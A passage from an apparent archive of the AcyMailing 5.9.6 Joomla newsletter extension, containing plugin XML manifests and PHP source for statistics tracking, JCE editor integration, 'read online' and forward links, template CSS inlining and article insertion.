	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin is used to handle statistics on any AcyMailing e-mail</description>
	<files>
		<filename plugin="stats">stats.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-stats"/>
		<param name="picture" type="text" size="60" label="Stat picture" default="media/com_acymailing/images/statpicture.png" description="Path of the statistic picture"/>
		<param name="alttext" type="text" size="60" default="" label="Alt Text" description="Alternatif text which will be displayed if the user does not accept to load your images" />
		<param name="width" type="text" size="2" default="50" label="Stat picture width" description="An image will be added in your HTML e-mails to be able to handle statistics. You can modify the width of the stat picture." />
		<param name="height" type="text" size="2" default="1" label="Stat picture height" description="An image will be added in your HTML e-mails to be able to handle statistics. You can modify the height of the stat picture." />
		<param name="displayfilter_mail" type="radio" default="0" label="Display filter" description="Display the statistics filter on the Newsletter creation interface">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-stats"/>
				<field name="picture" type="text" size="60" label="Stat picture" default="media/com_acymailing/images/statpicture.png" description="Path of the statistic picture"/>
				<field name="alttext" type="text" size="60" default="" label="Alt Text" description="Alternatif text which will be displayed if the user does not accept to load your images" />
				<field name="width" type="text" size="2" default="50" label="Stat picture width" description="An image will be added in your HTML e-mails to be able to handle statistics. You can modify the width of the stat picture." />
				<field name="height" type="text" size="2" default="1" label="Stat picture height" description="An image will be added in your HTML e-mails to be able to handle statistics. You can modify the height of the stat picture." />
				<field name="displayfilter_mail" type="radio" default="0" label="Display filter" description="Display the statistics filter on the Newsletter creation interface">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</install>
com_acymailing/extensions/plg_acymailing_stats/index.html000060400000000054152455305300020105 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_system_jceacymailing/index.html000060400000000054152455305300020755 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_system_jceacymailing/jceacymailing.xml000060400000001346152455305300022306 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="system">
	<name>AcyMailing JCE integration</name>
	<creationDate>March 2018</creationDate>
	<version>5.9.6</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to use the JCE editor with AcyMailing</description>
	<files>
		<filename plugin="jceacymailing">jceacymailing.php</filename>
	</files>
</install>
com_acymailing/extensions/plg_system_jceacymailing/jceacymailing.php000060400000001041152455305300022265 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class plgSystemJceacymailing extends JPlugin{
	function onBeforeWfEditorRender(&$settings) {
		if(empty($_REQUEST['option']) || $_REQUEST['option'] != 'com_acymailing') return;

		if(!empty($_REQUEST['acycssfile'])) $settings['content_css'] = $_REQUEST['acycssfile'];
	}
}
com_acymailing/extensions/plg_acymailing_online/index.html000060400000000054152455305300020233 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_acymailing_online/online.xml000060400000010456152455305300020253 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : Website links</name>
	<creationDate>September 2009</creationDate>
	<version>3.7.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add links in your Newsletter such as "read in your browser" or "forward to a friend"</description>
	<files>
		<filename plugin="online">online.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-online"/>
		<param name="addkey" type="radio" default="yes" label="Add Newsletter key" description="Add the Newsletter key in the link so the online version will be always accessible from the link inserted in the Newsletter">
			<option value="yes">Yes</option>
			<option value="no">No</option>
		</param>
		<param name="adduserkey" type="radio" default="yes" label="Add User key" description="Add the user key in the link so the online version will contain the personal information as well">
			<option value="yes">Yes</option>
			<option value="no">No</option>
		</param>
		<param name="viewtemplate" type="radio" default="notemplate" label="Display the online version - DEPRECATED" description="This option is not useful any more, please use the option when inserting the tag instead">
			<option value="standard">Standard template</option>
			<option value="notemplate">No template</option>
		</param>
		<param name="forwardtemplate" type="radio" default="notemplate" label="Display the forward version - DEPRECATED" description="This option is not useful any more, please use the option when inserting the tag instead">
			<option value="standard">Standard template</option>
			<option value="notemplate">No template</option>
		</param>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-online"/>
				<field name="addkey" type="radio" default="yes" label="Add Newsletter key" description="Add the Newsletter key in the link so the online version will be always accessible from the link inserted in the Newsletter">
					<option value="yes">Yes</option>
					<option value="no">No</option>
				</field>
				<field name="adduserkey" type="radio" default="yes" label="Add User key" description="Add the user key in the link so the online version will contain the personal information as well">
					<option value="yes">Yes</option>
					<option value="no">No</option>
				</field>
				<field name="viewtemplate" type="radio" default="notemplate" label="Display the online version - DEPRECATED" description="This option is not useful any more, please use the option when inserting the tag instead">
					<option value="standard">Standard template</option>
					<option value="notemplate">No template</option>
				</field>
				<field name="forwardtemplate" type="radio" default="notemplate" label="Display the forward version - DEPRECATED" description="This option is not useful any more, please use the option when inserting the tag instead">
					<option value="standard">Standard template</option>
					<option value="notemplate">No template</option>
				</field>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</install>
com_acymailing/extensions/plg_acymailing_online/online.php000060400000013366152455305300020245 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingOnline extends JPlugin{
	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'online');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_getPluginType(){

		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('WEBSITE_LINKS');
		$onePlugin->function = 'acymailingtagonline_show';
		$onePlugin->help = 'plugin-online';

		return $onePlugin;
	}

	function acymailingtagonline_show(){

		$others = array();
		$config = acymailing_config();
		$others['readonline'] = array('default' => acymailing_translation('VIEW_ONLINE', true), 'desc' => acymailing_translation('VIEW_ONLINE_LINK'));
		if($config->get('forward', true)){
			$others['forward'] = array('default' => acymailing_translation('FORWARD_FRIEND', true), 'desc' => acymailing_translation('FORWARD_FRIEND_LINK'));
		}

		?>
		<script language="javascript" type="text/javascript">
			<!--
			var selectedTag = '';
			function changeTag(tagName){
				selectedTag = tagName;
				defaultText = new Array();
				<?php
								$k = 0;
								foreach($others as $tagname => $tag){
									echo "document.getElementById('tr_$tagname').className = 'row$k';";
									echo "defaultText['$tagname'] = '".$tag['default']."';";
								}
								$k = 1-$k;
				?>
				document.getElementById('tr_' + tagName).className = 'selectedrow';
				document.adminForm.tagtext.value = defaultText[tagName];
				setOnlineTag();
			}

			function setOnlineTag(){
				if(!selectedTag) changeTag('readonline');
				otherinfo = '';
				for(var i = 0; i < document.adminForm.template.length; i++){
					if(document.adminForm.template[i].checked){
						otherinfo += '|template:' + document.adminForm.template[i].value;
					}
				}
				setTag('<a href=' + '"{' + selectedTag + otherinfo + '}{/' + selectedTag + '}" target="_blank" style="text-decoration:none;"><span class="acymailing_online">' + document.adminForm.tagtext.value + '</span></a>');
			}
			//-->
		</script>
		<?php
		echo acymailing_translation('FIELD_TEXT').' : <input type="text" name="tagtext" size="100px" onchange="setOnlineTag();" /><br /><br />';
		$radios = array();
		$radios[] = acymailing_selectOption("standard", acymailing_translation('IN_TEMPLATE'));
		$radios[] = acymailing_selectOption("notemplate", acymailing_translation('WITHOUT_TEMPLATE'));
		echo acymailing_radio($radios, 'template', 'size="1" onclick="setOnlineTag();"', 'value', 'text', 'notemplate');
		echo '<div class="onelineblockoptions">
				<table class="acymailing_table" cellpadding="1">';
		$k = 0;
		foreach($others as $tagname => $tag){
			echo '<tr style="cursor:pointer" class="row'.$k.'" onclick="changeTag(\''.$tagname.'\');" id="tr_'.$tagname.'" ><td class="acytdcheckbox" ></td><td>'.$tag['desc'].'</td></tr>';
			$k = 1 - $k;
		}
		echo '</table></div>';
	}

	function acymailing_replacetags(&$email, $send = true){
		if(acymailing_getVar('none', 'task', '') == 'replacetags') return;

		$match = '#(?:{|%7B)(readonline|forward)([^}]*)(?:}|%7D)(.*)(?:{|%7B)/(readonline|forward)(?:}|%7D)#Uis';
		$variables = array('body', 'altbody');
		$found = false;
		$results = array();
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
			if(empty($results[$var][0])) unset($results[$var]);
		}

		if(!$found) return;

		$config = acymailing_config();

		$tags = array();

		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				if(isset($tags[$oneTag])) continue;
				$arguments = explode('|', strip_tags(str_replace('%7C', '|', $allresults[2][$i])));
				$tag = new stdClass();
				$tag->type = $allresults[1][$i];
				$tag->template = ($tag->type == 'readonline') ? $this->params->get('viewtemplate', 'notemplate') : $this->params->get('forwardtemplate', 'notemplate');
				$tag->itemid = $config->get('itemid', 0);
				for($j = 0, $a = count($arguments); $j < $a; $j++){
					$args = explode(':', $arguments[$j]);
					$arg0 = trim($args[0]);
					if(empty($arg0)) continue;
					if(isset($args[1])){
						$tag->$arg0 = $args[1];
					}else{
						$tag->$arg0 = true;
					}
				}

				$addkey = (!empty($email->key) && $this->params->get('addkey', 'yes') == 'yes') ? '&key='.$email->key : '';
				$adduserkey = $this->params->get('adduserkey', 'yes') == 'yes' ? '&subid={subtag:subid}-{subtag:key}' : '';
				$tmpl = ($tag->template == 'notemplate') ? '&tmpl=component' : '';
				$item = empty($tag->itemid) ? '' : '&Itemid='.$tag->itemid;
				$lang = empty($email->language) ? '' : '&lang='.$email->language;

				if($tag->type == 'readonline'){
					$link = acymailing_frontendLink('index.php?option=com_acymailing&ctrl=archive&task=view&mailid='.$email->mailid.$addkey.$adduserkey.$tmpl.$item.$lang);
				}elseif($tag->type == 'forward'){
					$link = acymailing_frontendLink('index.php?option=com_acymailing&ctrl=archive&task=forward&mailid='.$email->mailid.$addkey.$adduserkey.$tmpl.$item.$lang);
				}

				if(empty($allresults[3][$i])){
					$tags[$oneTag] = $link;
				}else $tags[$oneTag] = '<a style="text-decoration:none;" href="'.$link.'"><span class="acymailing_online">'.$allresults[3][$i].'</span></a>';
			}
		}

		$email->body = str_replace(array_keys($tags), $tags, $email->body);
		if(!empty($email->altbody)) $email->altbody = str_replace(array_keys($tags), $tags, $email->altbody);
	}
}//endclass
com_acymailing/extensions/plg_acymailing_template/index.html000060400000000054152455305300020562 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_acymailing_template/template.xml000060400000002307152455305300021125 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="acymailing">
	<name>AcyMailing Template Class Replacer</name>
	<creationDate>March 2018</creationDate>
	<version>5.9.6</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved.</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables AcyMailing to replace CSS class in each email</description>
	<files>
		<filename plugin="template">template.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-template"/>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-template"/>
			</fieldset>
		</fields>
	</config>
</install>
com_acymailing/extensions/plg_acymailing_template/template.php000060400000027114152455305300021117 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingTemplate extends JPlugin{

	var $templates = array();
	var $tags = array();
	var $headerstyles = array();
	var $others = array();
	var $stylesheets = array();
	var $templateClass = '';
	var $config;

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'template');
			$this->params = new acyParameter($plugin->params);
		}
		$this->config = acymailing_config();
		if(version_compare(PHP_VERSION, '5.0.0', '>=') && class_exists('DOMDocument') && function_exists('mb_convert_encoding')){
			require_once(ACYMAILING_FRONT.'inc'.DS.'emogrifier'.DS.'emogrifier.php');
		}
	}

	private function _applyTemplate(&$email, $addbody){
		if(empty($email->tempid)) return;

		if(!isset($this->templates[$email->tempid])){
			$this->headerstyles[$email->tempid] = array();
			$this->headerstyles[$email->tempid][] = '.ReadMsgBody{width: 100%;}';
			$this->headerstyles[$email->tempid][] = '.ExternalClass{width: 100%;}';
			$this->headerstyles[$email->tempid][] = 'div, p, a, li, td { -webkit-text-size-adjust:none; }';
			$this->headerstyles[$email->tempid][] = 'a[x-apple-data-detectors]{
			color: inherit !important;
			text-decoration: inherit !important;
			font-size: inherit !important;
			font-family: inherit !important;
			font-weight: inherit !important;
			line-height: inherit !important;
			}';

			$this->templates[$email->tempid] = array();
			if(empty($this->templateClass)){
				$this->templateClass = acymailing_get('class.template');
			}
			if(!empty($email->template) && $email->tempid == $email->template->tempid){
				$template = $email->template;
			}else{
				$template = $email->template = $this->templateClass->get($email->tempid);
			}

			if(!empty($template->styles) OR !empty($template->stylesheet)){
				$this->stylesheets[$email->tempid] = $this->templateClass->buildCSS($template->styles, $template->stylesheet);

				if(preg_match_all('#@import[^;]*;#is', $this->stylesheets[$email->tempid], $results)){
					foreach($results[0] as $oneResult){
						array_unshift($this->headerstyles[$email->tempid], trim($oneResult));
					}
				}

				if(preg_match_all('#@media.*}[^{}]*}#Uis', $this->stylesheets[$email->tempid], $results)){

					foreach($results[0] as $oneResult){
						$this->stylesheets[$email->tempid] = str_replace($oneResult, '', $this->stylesheets[$email->tempid]);
						$this->headerstyles[$email->tempid][] = trim($oneResult);
					}
				}

				if(preg_match_all('#}([^}]+:hover[^{]*{[^{]*})#Uis', '} '.$this->stylesheets[$email->tempid], $results)){
					foreach($results[1] as $oneResult){
						$this->stylesheets[$email->tempid] = str_replace($oneResult, '', $this->stylesheets[$email->tempid]);
						$this->headerstyles[$email->tempid][] = trim($oneResult);
					}
				}
			}


			if(!empty($template->styles)){
				foreach($template->styles as $class => $style){
					if(empty($style)) continue;
					if(preg_match('#^tag_(.*)$#', $class, $result)){
						$this->tags[$email->tempid]['#< *'.$result[1].'((?:(?!style).)*)>#Ui'] = '<'.$result[1].' style="'.$style.'" $1>';
						if(strpos($style, '!important')) $this->headerstyles[$email->tempid][] = $result[1].'{ '.str_replace('!important', '', $style).' }';
					}elseif($class == 'color_bg'){
						$this->others[$email->tempid][$class] = $style;
					}else{
						$this->templates[$email->tempid]['class="'.$class.'"'] = 'style="'.$style.'"';
					}
				}
				if(!empty($template->styles['tag_a'])){
					$this->headerstyles[$email->tempid][] = 'a:visited{'.$template->styles['tag_a'].'}';
				}
			}
		}

		if($addbody AND !strpos($email->body, '</body>')){
			$before = '<html><head>'."\n";
			if(!empty($template->header)) $before .= $template->header."\n";
			$before .= '<meta http-equiv="Content-Type" content="text/html; charset='.strtolower($this->config->get('charset')).'" />'."\n";
			$before .= '<meta name="viewport" content="width=device-width, initial-scale=1.0" />'."\n";
			$before .= '<title>'.$email->subject.'</title>'."\n";
			if(!empty($this->headerstyles[$email->tempid])){
				$before .= '<style type="text/css">'."\n";
				$before .= implode("\n", $this->headerstyles[$email->tempid])."\n";
				$before .= '</style>'."\n";
			}
			$before .= '</head>'."\n".'<body yahoo="fix"';
			if(!empty($this->others[$email->tempid]['color_bg'])) $before .= ' bgcolor="'.$this->others[$email->tempid]['color_bg'].'" ';
			$before .= '>'."\n";
			$email->body = $before.$email->body.'</body>'."\n".'</html>';
		}

		if(!empty($this->stylesheets[$email->tempid]) AND class_exists('acymailingEmogrifier')){
			$emogrifier = new acymailingEmogrifier($email->body, $this->stylesheets[$email->tempid]);
			$email->body = $emogrifier->emogrify();

			if(!$addbody AND strpos($email->body, '<!DOCTYPE') !== false){
				$email->body = preg_replace('#<\!DOCTYPE.*<body([^>]*)>#Usi', '', $email->body);
				$email->body = preg_replace('#</body>.*$#si', '', $email->body);
			}
		}else{
			if(!empty($this->templates[$email->tempid])){
				$email->body = str_replace(array_keys($this->templates[$email->tempid]), $this->templates[$email->tempid], $email->body);
			}

			if(!empty($this->tags[$email->tempid])){
				$email->body = preg_replace(array_keys($this->tags[$email->tempid]), $this->tags[$email->tempid], $email->body);
			}
		}

		$newbody = preg_replace('#(<(div|tr|td|table)[^>]*)title="[^"]*"#Uis', '$1', $email->body);
		if(!empty($newbody)) $email->body = $newbody;

		$newbody = preg_replace('# id="zone_[0-9]+"#Uis', ' ', $email->body);
		if(!empty($newbody)) $email->body = $newbody;

		$newbody = preg_replace('# *(acyeditor_text|acyeditor_picture|acyeditor_delete|acyeditor_sortable|ui-sortable) *#is', '', $email->body);
		$newbody = preg_replace('#(class|title|style|id)=" *"#Ui', '', $newbody);
		if(!empty($newbody)) $email->body = $newbody;
	}

	public function acymailing_replaceusertags(&$email, &$user, $send = true){

		if(!$email->sendHTML) return;

		if((!acymailing_level(1) || acymailing_level(4)) && !empty($email->type) && in_array($email->type, array('news', 'followup'))){
			$pict = '<div style="text-align:center;margin:10px auto;display:block;"><a target="_blank" href="https://www.acyba.com/?utm_source=acymailing&utm_medium=e-mail&utm_content=img&utm_campaign=powered-by"><img alt="Powered by AcyMailing" src="media/com_acymailing/images/poweredby.png" /></a></div>';

			if(strpos($email->body, '</body>')){
				$email->body = str_replace('</body>', $pict.'</body>', $email->body);
			}else{
				$email->body .= $pict;
			}
		}

		$this->_applyTemplate($email, $send);

		$email->body = preg_replace('#< *(tr|td|table)([^>]*)(style="[^"]*)background-image *: *url\(\'?([^)\']*)\'?\);?#Ui', '<$1 background="$4" $2 $3', $email->body);
		$email->body = acymailing_absoluteURL($email->body);

		if(preg_match_all('#< *img([^>]*)>#Ui', $email->body, $allPictures)){

			foreach($allPictures[0] as $i => $onePict){
				if(strpos($onePict, 'align=') !== false) continue;
				if(!preg_match('#(style="[^"]*)(float *: *)(right|left|top|bottom|middle)#Ui', $onePict, $pictParams)) continue;

				$newPict = str_replace('<img', '<img align="'.$pictParams[3].'" ', $onePict);

				$email->body = str_replace($onePict, $newPict, $email->body);

				if(strpos($onePict, 'hspace=') !== false) continue;

				$hspace = 5;
				if(preg_match('#margin(-right|-left)? *:([^";]*)#i', $onePict, $margins)){
					$currentMargins = explode(' ', trim($margins[2]));
					$myMargin = (count($currentMargins) > 1) ? $currentMargins[1] : $currentMargins[0];
					if(strpos($myMargin, 'px') !== false) $hspace = preg_replace('#[^0-9]#i', '', $myMargin);
				}

				$lastPict = str_replace('<img', '<img hspace="'.$hspace.'" ', $newPict);

				$email->body = str_replace($newPict, $lastPict, $email->body);
			}
		}

		if(!preg_match('#(<thead|<tfoot|< *tbody *[^> ]+ *>)#Ui', $email->body)){
			$email->body = preg_replace('#< *\/? *tbody *>#Ui', '', $email->body);
		}

		$email->body = preg_replace_callback('/src="([^"]* [^"]*)"/Ui', array($this, '_convertSpaces'), $email->body);

		$this->fixPictureSize($email->body);

		$acypluginsHelper = acymailing_get('helper.acyplugins');
		$acypluginsHelper->fixPictureDim($email->body);
	}//endfct

	public function acymailing_replacetags(&$email, $send = true){
		$this->linksSEF($email);
		$this->checkThumbnailYoutube($email);
	}

	public function linksSEF(&$email){
		$results = array();
		$altresults = array();
		$found = preg_match_all('#(?:{|%7B)acyfrontsef(?:}|%7D)(.*)(?:{|%7B)/acyfrontsef(?:}|%7D)#Uis', $email->body, $results);
		$found = preg_match_all('#(?:{|%7B)acyfrontsef(?:}|%7D)(.*)(?:{|%7B)/acyfrontsef(?:}|%7D)#Uis', $email->altbody, $altresults) || $found;

		if(!$found) return;

		$results[0] = array_merge($results[0], $altresults[0]);
		$results[1] = array_merge($results[1], $altresults[1]);

		$clearesults = array(0 => array(), 1 => array());
		foreach($results[0] as $i => $val){
			if(in_array($val, $clearesults[0])) continue;
			$clearesults[0][] = $val;
			$clearesults[1][] = $results[1][$i];
		}
		$results = $clearesults;

		$urls = '';
		$i = 0;
		$passedResults = array(0 => array(), 1 => array());
		foreach($results[1] as $key => $link){
			$urls .= '&urls['.$i.']='.base64_encode($link);
			$passedResults[0][] = $results[0][$key];
			$passedResults[1][] = $link;
			$i++;

			if($i > 40){
				$this->_callFrontURL($email, $urls, $passedResults);
				$passedResults = array(0 => array(), 1 => array());
				$urls = '';
				$i = 0;
			}
		}

		if(!empty($urls)) $this->_callFrontURL($email, $urls, $passedResults);
	}

	private function _callFrontURL(&$email, $urls, $results){
		$sefLinks = acymailing_fileGetContent(acymailing_rootURI().'index.php?option=com_acymailing&ctrl=url&task=sef'.$urls);
		$newLinks = json_decode($sefLinks, true);

		if($newLinks == null){
			if(!empty($sefLinks) && defined('JDEBUG') && JDEBUG) acymailing_enqueueMessage('Error trying to get the sef links: '.$sefLinks);

			$newLinks = array();
			foreach($results[1] as $link){
				$key = $link;
				$link = ltrim($link, '/');
				$mainurl = acymailing_mainURL($link);
				$newLinks[$key] = $mainurl.$link;
			}
		}
		$replacement = array();
		if(empty($newLinks)) return;

		foreach($results[1] as $key => $origin){
			$replacement[$results[0][$key]] = $newLinks[$results[1][$key]];
		}

		$email->body = str_replace(array_keys($replacement), $replacement, $email->body);
		$email->altbody = str_replace(array_keys($replacement), $replacement, $email->altbody);
	}

	public function _convertSpaces($matches){
		return "src='".str_replace(' ', '%20', $matches[1])."'";
	}

	private function fixPictureSize(&$body){
		if(!preg_match_all('#(<img)([^>]*>)#i', $body, $results)) return;

		$replace = array();
		$widthheight = array('width', 'height');
		foreach($results[0] as $num => $oneResult){
			$add = array();
			foreach($widthheight as $whword){
				if(preg_match('#'.$whword.' *=#i', $oneResult) || !preg_match('#[^a-z_\-]'.$whword.' *:([0-9 ]{1,8})px#i', $oneResult, $resultWH)) continue;

				if(empty($resultWH[1])) continue;
				$add[] = $whword.'="'.trim($resultWH[1]).'" ';
			}
			if(!empty($add)) $replace[$oneResult] = '<img '.implode(' ', $add).$results[2][$num];
		}

		if(empty($replace)) return;

		$body = str_replace(array_keys($replace), $replace, $body);
	}

	function checkThumbnailYoutube(&$mail){
		$acypluginsHelper = acymailing_get('helper.acyplugins');
		$mail->body = $acypluginsHelper->replaceVideos($mail->body);
	}
}//endclass
com_acymailing/extensions/plg_acymailing_tagcontent/index.html000060400000000054152455305300021115 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_acymailing_tagcontent/tagcontent.xml000060400000020355152455305300022016 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : content insertion</name>
	<creationDate>September 2009</creationDate>
	<version>3.7.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This AcyMailing plugin enables you to include Joomla Articles in any e-mail sent by AcyMailing</description>
	<files>
		<filename plugin="tagcontent">tagcontent.php</filename>
		<filename>tagcontent.xml</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagcontent"/>
		<param name="customtemplate" type="customtemplate" label="Custom template" description="Click on the Custom template button to create a custom layout that will override the default view" default="tagcontent"/>
		<param name="displayart" type="radio" default="all" label="Display articles" description="Select if you want to display all articles in the popup for article selection or only published articles">
			<option value="all">All articles</option>
			<option value="onlypub">Only published articles</option>
		</param>
		<param name="contentaccess" type="radio" default="registered" label="Content Access" description="If you use the automatic article insertion (via the categories tab), AcyMailing will only include articles having the selected access in your Newsletter">
			<option value="public">Public only</option>
			<option value="registered">Public and Registered</option>
			<option value="all">All</option>
		</param>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="Using AcyMailing Enterprise, you can restrict the access to this tag system">
			<option value="all">Display all articles</option>
			<option value="author">Display only author's articles</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
		<param name="metaselect" type="radio" default="0" label="Select articles by meta tags" description="Do you want to display an interface on the content category insertion to filter articles by meta tags? Meta tags must be separated by a comma.">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="integration" type="radio" default="0" label="Act for another component" description="Some Joomla components use the content table to store their articles. This option enables you to make sure Acy will act for this third part component and not for the default Joomla content system" >
			<option value="0">Joomla content</option>
			<option value="jreviews">jReviews</option>
			<option value="flexicontent">FlexiContent</option>
			<option value="jaggyblog">JaggyBlog</option>
		</param>
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="default_type" type="radio" default="intro" label="DISPLAY" description="FIELD_DEFAULT">
			<option value="title">TITLE_ONLY</option>
			<option value="intro">INTRO_ONLY</option>
			<option value="text">FIELD_TEXT</option>
			<option value="full">FULL_TEXT</option>
		</param>
		<param name="wordwrap" type="text" size="10" default="0" label="Intro Word Wrapping" description="If you insert only the introduction and you didn't insert the read more link, AcyMailing will only load the first XX characters of your content. If you specify 0, AcyMailing won't wrap your content" />
		<param name="default_titlelink" type="radio" default="link" label="CLICKABLE_TITLE" description="FIELD_DEFAULT">
			<option value="link">JOOMEXT_YES</option>
			<option value="0">JOOMEXT_NO</option>
		</param>
		<param name="default_author" type="radio" default="0" label="AUTHOR_NAME" description="FIELD_DEFAULT">
			<option value="author">JOOMEXT_YES</option>
			<option value="0">JOOMEXT_NO</option>
		</param>
		<param name="default_pict" type="radio" default="1" label="DISPLAY_PICTURES" description="FIELD_DEFAULT">
			<option value="1">JOOMEXT_YES</option>
			<option value="resized">RESIZED</option>
			<option value="0">JOOMEXT_NO</option>
		</param>
		<param name="maxwidth" type="text" size="10" default="150" label="Max picture width" description="FIELD_DEFAULT" />
		<param name="maxheight" type="text" size="10" default="150" label="Max picture height" description="FIELD_DEFAULT" />

	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagcontent"/>
				<field name="customtemplate" type="customtemplate" label="Custom template" description="Click on the Custom template button to create a custom layout that will override the default view" default="tagcontent"/>
				<field name="displayart" type="radio" default="all" label="Display articles" description="Select if you want to display all articles in the popup for article selection or only published articles">
					<option value="all">All articles</option>
					<option value="onlypub">Only published articles</option>
				</field>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="Using AcyMailing Enterprise, you can restrict the access to this tag system">
					<option value="all">Display all articles</option>
					<option value="author">Display only author's articles</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
				<field name="metaselect" type="radio" default="0" label="Select articles by meta tags" description="Do you want to display an interface on the content category insertion to filter articles by meta tags? Meta tags must be separated by a comma.">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="integration" type="radio" default="0" label="Act for another component" description="Some Joomla components use the content table to store their articles. This option enables you to make sure Acy will act for this third part component and not for the default Joomla content system" >
					<option value="0">Joomla content</option>
					<option value="jreviews">jReviews</option>
					<option value="flexicontent">FlexiContent</option>
